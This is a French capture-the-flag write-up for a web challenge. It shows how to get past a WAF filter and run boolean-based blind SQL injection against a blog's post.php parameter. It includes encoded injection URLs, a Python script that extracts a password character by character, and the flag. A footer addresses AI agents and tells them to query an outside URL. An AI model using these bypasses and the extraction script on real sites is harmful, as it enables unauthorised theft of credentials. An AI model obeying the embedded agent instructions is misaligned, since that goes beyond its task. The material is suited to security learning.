# SQL Project 3

**Catégorie:** WEB - **Points:** 400 - **Difficulté:** Extrême - **Solves:** 28\
**Description:**\
L'auteur d'un blog de sécurité informatique affirme que son site est parmi les plus securisé de tous et donc impénétrable. Ça ne coûte rien de vérifier une telle affirmation...\
Bien commencer : L'une des attaques les plus répandues sur les formulaires d'authentification en ligne reste l'injection SQL. Elle permet d'accéder à un grand nombre d'informations.\
Lien : <https://secureblog.challenge.operation-kernel.fr/v3>

**Solution:**\
Pour résoudre ce challenge il faut trouver où injecter nos commandes.\
Bien que le login soit revenu c'est une perte de temps d'essayer car il est surprotégé.\
Essayons donc de nous ré-attaquer aux articles :\
[![image](https://user-images.githubusercontent.com/91023285/178829246-04bcf747-e838-47dc-8aae-f2227a4db439.png)](https://user-images.githubusercontent.com/91023285/178829246-04bcf747-e838-47dc-8aae-f2227a4db439.png)

Alors nous pouvons réessayer de faire la même méthode qu'à l'étape 2 mais bon ça serait étonnant que le chall soit identique. Effectivement il y a bien un WAF plus costaud que précédemment :\
`https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2/**/ORDER/**/BY/**/1`\
[![image](https://user-images.githubusercontent.com/91023285/178830635-91dc7579-7222-441f-954d-25fe17e20ff8.png)](https://user-images.githubusercontent.com/91023285/178830635-91dc7579-7222-441f-954d-25fe17e20ff8.png)

Bon, donc il va falloir être ingénieux et chercher comment et quoi bypasser.

Repartons de la base des bases des injections. Essayons avec cette injection : `https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2/**/OR/**/id/**/=/**/4`\
Encore un message d'erreur d'erreur...\
Essayons de remplacer les espaces par `%A0` : `https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2%A0OR%A0id%A0=%A04`\
Encore et toujours ce foutu message. Là il y a encore 2 choses qui peuvent éventuellement poser problème : le `=` et/ou le `OR`\
Essayons dans un premier temps de remplacer le `=` par `IN` : <https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=2%A0OR%A0id%A0IN%A04>\
Ah ici il n'y a plus d'erreur mais seulement une 404 (peut être normal).

Maintenant nous savons qu'il faut bypasser les espaces par `%A0` et que les `=` ne sont pas acceptés.

Après plusieurs jours de recherches (et de tests), j'ai enfin trouver qu'il s'agissait d'une *Blind SQL* et que ça n'allait pas nous arranger.

Voici un [article](https://github.com/kleiton0x00/Advanced-SQL-Injection-Cheatsheet/tree/main/MySQL%20-%20Boolean%20Based%20Blind%20SQLi) très bien fait sur les *Blind SQL*\
Avec ça nous allons pouvoir avancer un peu plus.

Nous pouvons commencer à faire des tests directement sachant que nous connaissons déjà le nom de la BDD : `challv3`, le nom de la table : `user` ainsi que la colonne spécifique où chercher : `password`.\
Mais ce n'est pas grâce à cela que l'on va pouvoir avoir le flag rapidement.

Passons alors aux tests d'injections. Pour vérifier que nos injections fonctionne bien, nous allons essayer de vérifier si le flag commence bien par *H* : `https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x48%A0in(substr(password,1,1)))`\
La page se charge complètement donc notre injection est correcte !!! Pour expliquer cette injection, tout se passe après le `and`. Le `0x48` est le code ASCII en hexa de la lettre *H*. La suite de l'injection permet de vérifier qu'à la position 1 du `password` il y ai bien ce caractère.\
De toute façon nous allons faire 4 autres tests pour être sûr de bien comprendre :\
H : `https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x48%A0in(substr(password,1,1)))`\
A : `https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x41%A0in(substr(password,2,1)))`\
C : `https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x43%A0in(substr(password,3,1)))`\
K : `https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x4B%A0in(substr(password,4,1)))`\
{ : `https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(0x7B%A0in(substr(password,5,1)))`

Nous pouvons voir que nous changeons simplement le caractère ASCII et l'index du caractère pour chaque test.

Maintenant, plutôt que de faire tout ça à la main, faisons un programme qui le fera à notre place en moins de 2 minutes :

```
import requests

i = 1
flag = []

while i <= 30:
    for ascii in range(33, 127):
        code200 = requests.head(f'https://secureblog.challenge.operation-kernel.fr/v3/post.php?id=(2)and(binary({hex(ascii)})%A0in(substr(password,{i},1)))').status_code

        if code200 == 200:
            flag.append(chr(ascii))
            print(''.join(flag))
            i += 1
            break

print(f"Le flag final est {''.join(flag)}")
```

Ici le flag sera affiché caractère par caractère :\
![image](https://user-images.githubusercontent.com/91023285/178921463-b6cc9eca-d48f-46fe-9ecd-37db3088f9a6.png)

Et pour information au départ le flag n'était qu'en majuscules. Cela est normal car SQL ne fait pas la différence entre les majuscules et les minuscules.\
Il a donc fallu trouver un moyen de remédier à cela et cet [article](https://dev.mysql.com/doc/refman/8.0/en/case-sensitivity.html) m'a beaucoup aidé. Il fallait simplement ajouté un `binary()` autour de notre lettre hexadécimale pour voir la différence.

Et donc en laissant tourner le programme 2 à 3 minutes, le flag est directement donné à la fin.

<details>

<summary>🚩 FLAG</summary>

```
HACK{GG_SQLi_M1Ght_B3_Hidden!}
```

</details>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://writeups.ayweth20.com/2022/operation-kernel/web/sql-project-3.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
